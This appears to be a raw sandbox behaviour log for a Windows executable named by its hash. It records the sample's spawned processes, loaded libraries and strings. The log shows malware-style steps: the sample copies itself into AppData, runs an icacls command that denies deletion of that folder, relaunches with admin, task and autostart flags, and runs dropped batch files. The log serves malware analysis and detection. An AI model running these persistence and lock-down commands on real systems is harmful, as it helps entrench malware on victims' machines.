Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --Task	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --AutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --Service	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: X1P	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --Admin	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: runas	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: x2Q	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: x*P	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: C:\Windows\	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: D:\Windows\	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: 7P	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: %username%	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: F:\	7_2_00419F90

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wct425E.tmp.12.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wct425E.tmp.12.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wct425E.tmp.12.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wct425E.tmp.12.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: set-addPolicy
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: id-cmc-addExtensions
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: set-addPolicy
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: id-cmc-addExtensions
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: set-addPolicy
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: id-cmc-addExtensions
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: set-addPolicy
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

File read: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3664 -s 1700
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\51eb5671.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\13433410.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe"	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" "
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\51eb5671.bat" "
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Process created: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\13433410.bat" "

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Section loaded: pcacli.dll	Jump to behavior
